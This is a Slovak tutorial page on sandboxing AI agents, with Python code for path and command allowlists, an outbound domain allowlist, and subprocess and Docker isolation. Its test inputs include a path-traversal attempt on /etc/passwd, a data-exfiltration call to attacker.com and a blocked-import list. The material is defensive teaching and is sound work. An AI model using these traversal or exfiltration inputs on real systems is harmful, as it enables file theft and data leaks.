Sandboxing a izolácia
Na tejto strane
Prečo izolovať agentov AI?
Agent AI, ktorý vykonáva kód alebo volá nástroje, sa zásadne líši od bežného chatbota. Kompromitovaný chatbot v najhoršom prípade vygeneruje trápnu odpoveď; kompromitovaný agent koná – dokáže spustiť systémové príkazy, čítať citlivé súbory alebo komunikovať s externými službami. Všetky doteraz prebrané obranné mechanizmy sa snažili predísť kompromitácii. Sandboxing mení prístup: predpokladá, že ku kompromitácii skôr či neskôr dôjde, a sústredí sa na obmedzenie toho, čo môže útočník urobiť po vniknutí do systému. Ide o zásadnú zmenu postoja, a preto sandboxing nenahrádza žiadnu z predchádzajúcich vrstiev ochrany.
Úroveň 1: Obmedzenie prístupu k zdrojom
Prvá úroveň aplikuje princíp najmenších oprávnení na súbory a príkazy. Kľúčovým technickým bodom je použitie funkcie resolve() pred porovnaním: bez nej by cesta ako /data/app/uploads/../../etc/passwd začínala povoleným adresárom a prešla by cez naivnú kontrolu prefixu. Rozlíšenie skutočnej cesty tento typ traversálu zmari, čo zostáva jedným z najčastejších útokov proti agentom manipulujúcim so súbormi.
import os
from pathlib import Path
class SandboxPermissions:
"""Controls access permissions to resources."""
def __init__(self, allowed_folder: str, allowed_commands: list[str]):
self.allowed_folder = Path(allowed_folder).resolve()
self.allowed_commands = set(allowed_commands)
def verify_path(self, path: str) -> bool:
"""Verifies that a path is within the allowed folder."""
resolved_path = Path(path).resolve()
try:
resolved_path.relative_to(self.allowed_folder)
return True
except ValueError:
return False
def verify_command(self, command: str) -> bool:
"""Verifies that a command is in the allowlist."""
cmd_base = command.split()[0] if command else ""
return cmd_base in self.allowed_commands
def read_file(self, path: str) -> str:
"""Secure reading with path verification."""
if not self.verify_path(path):
raise PermissionError(
f"Access denied: {path} is outside the allowed folder"
)
return Path(path).read_text()
# Usage
sandbox = SandboxPermissions(
allowed_folder="/data/app/uploads",
allowed_commands=["ls", "cat", "wc"],
)
# OK: file in allowed folder
try:
content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
print(f"Blocked: {e}")
# Blocked: path traversal attempt
try:
content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
print(f"Blocked: {e}")
Príkazy fungujú na rovnakom princípe, pričom sa používa whitelist (zoznam povolených) namiesto blacklistu (zoznamu zakázaných). Táto asymetria je rozhodujúca: blacklist ťa núti vymyslieť každý možný nebezpečný príkaz – čo je cvičenie, ktoré prehráš –, zatiaľ čo whitelist si vyžaduje len vymenovať to, čo agent skutočne potrebuje, čo sú často len tri alebo štyri príkazy.
Úroveň 2: Kontrola odchádzajúcej prevádzky
Sieťová izolácia rieši scenár exfiltrácie dát, o ktorom sme hovorili vyššie. Pokiaľ môže agent odoslať HTTP požiadavku na ľubovoľnú doménu, akékoľvek dáta, ktorých sa dotkne, môžu opustiť tvoj perimeter a odchádzajúca prevádzka bude vyzerať ako bežná aplikácia. Obmedzenie cieľových miest na explicitný zoznam zmení pokus o exfiltráciu na zaznamenanú výnimku.
import subprocess
class NetworkSandbox:
"""Controls the agent's network communications."""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
def is_allowed_request(self, url: str) -> bool:
"""Verifies that a URL is in the allowlist."""
from urllib.parse import urlparse
domain = urlparse(url).hostname
return domain in self.allowed_domains
def secure_fetch(self, url: str) -> str:
"""HTTP request with domain verification."""
if not self.is_allowed_request(url):
raise PermissionError(f"Domain not allowed: {url}")
import urllib.request
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
sandbox_net = NetworkSandbox(
allowed_domains=["api.openai.com", "api.anthropic.com"]
)
# OK
try:
sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
print(e)
# Blocked: exfiltration to an external domain
try:
sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
print(f"Blocked: {e}")
Úroveň 3: Vykonávanie kódu bez dôvery voči stroju
Spúšťanie kódu napísaného modelom je najchúlostivejším prípadom. Nižšie uvedená implementácia kombinuje tri ochranné mechanizmy: kontrolu importov pred vykonaním, obmedzenia pamäte a času CPU nastavené priamo v skripte a prostredie redukované na absolútne minimum pri spúšťaní podprocesu.
Je potrebné upozorniť na overovanie importov. Spolieha sa na vyhľadávanie textu a obozretný útočník ho obíde – __import__("os") neobsahuje hľadaný reťazec. Toto overovanie ber ako ochrannú zábranu proti chybám a naivným pokusom, nikdy však ako bezpečnostnú hranicu. Skutočnou hranicou je izolovaný proces so svojimi limitmi zdrojov.
import subprocess
import tempfile
import os
class ExecutionSandbox:
"""Executes model-generated code in an isolated environment."""
def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
self.timeout = timeout
self.max_memory = max_memory_mb
def execute_python(self, code: str) -> dict:
"""Executes Python code in an isolated process."""
# Security checks before execution
dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
for imp in dangerous_imports:
if f"import {imp}" in code or f"from {imp}" in code:
return {
"success": False,
"error": f"Forbidden import: {imp}",
"output": "",
}
# Create a temporary file
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as f:
# Add restrictions at the start of the script
wrapper = f"""
import resource
import sys
# Limit memory
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))
# Limit CPU time
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))
# User code
{code}
"""
f.write(wrapper)
temp_file = f.name
try:
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=self.timeout,
env={"PATH": "/usr/bin", "HOME": "/tmp"},
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000] if result.returncode != 0 else "",
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout exceeded", "output": ""}
finally:
os.unlink(temp_file)
# Usage
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)
# OK: simple calculation
result = sandbox.execute_python("print(sum(range(100)))")
print(result) # {"success": True, "output": "4950\n", "error": ""}
# Blocked: system access attempt
result = sandbox.execute_python("import os; os.listdir('/')")
print(result) # {"success": False, "error": "Forbidden import: os"}
Pre produkčné prípady poskytuje Docker robustnejšiu izoláciu, pretože sa už nespolieha na spoluprácu vykonávaného kódu. Každá možnosť príkazu uzatvára konkrétne dvere: --network=none odstraňuje akúkoľvek možnosť sieťovej exfiltrácie, --read-only zabraňuje perzistencii, --memory a --cpus obmedzujú spotrebu, --tmpfs poskytuje volatilný a obmedzený pracovný priestor a --security-opt=no-new-privileges zakazuje eskaláciu počas vykonávania. Príznak --rm zničí kontajner na konci, čím garantuje, že žiadny stav neprežije z jedného vykonania do druhého.
class DockerSandbox:
"""Executes code in an ephemeral Docker container."""
def __init__(self, image: str = "python:3.12-slim"):
self.image = image
def execute(self, code: str, timeout: int = 10) -> dict:
"""Executes code in an isolated container."""
cmd = [
"docker", "run", "--rm",
"--network=none", # No network
"--memory=256m", # Memory limit
"--cpus=0.5", # CPU limit
"--read-only", # Read-only filesystem
"--tmpfs=/tmp:size=50m", # Limited temporary space
"--security-opt=no-new-privileges",
self.image,
"python3", "-c", code,
]
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000],
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout", "output": ""}
Výber správnej úrovne
Nakladenie všetkých troch úrovní na jednoduchý chatbot s FAQ je nákladné a zbytočné, zatiaľ čo spoliehanie sa len na prvú úroveň pri agentovi, ktorý vykonáva kód, znamená v podstate nechrániť nič. Nasledujúca tabuľka poskytuje východisko; uprav ju podľa citlivosti prístupných dát, čo často záleží viac než sofistikovanosť samotného agenta.
| Scenár | Odporúčaná úroveň |
|---|---|
| Jednoduchý Q&A chatbot | Oprávnenia (Úroveň 1) |
| Agent s prístupom k API | Oprávnenia + Sieť (Úrovne 1–2) |
| Agent vykonávajúci kód | Plný Docker (Úroveň 3) |
| Multi-user agent | Docker + izolácia relácií |
Bez ohľadu na to, ktorú úroveň si vyberieš, testuj ju tak, ako by si testoval funkciu. Sandbox, ktorý nainštaluješ a potom naň zabudneš, sa časom ticho degraduje – pribudne závislosť, dočasne pripojený zväzok, doména otvorená kvôli riešeniu problémov. Pri každej aktualizácii agenta znovu spusti testy traversálu ciest a zakázaných domén: obídenie sandboxu nie je menšia anomália, je to kritický incident.
Kľúčové poznatky
- Sandboxing je nevyhnutný hneď, ako má agent prístup k nástrojom alebo vykonáva kód
- Tri úrovne izolácie: oprávnenia, sieť, kontajner – kombinuj podľa rizika
- Princíp najmenších oprávnení platí pre každý zdroj: súbory, sieť, príkazy
- Docker s
--network=nonea--read-onlyposkytuje najrobustnejšiu izoláciu - Izoláciu treba pravidelne testovať – obídenie sandboxu je kritický incident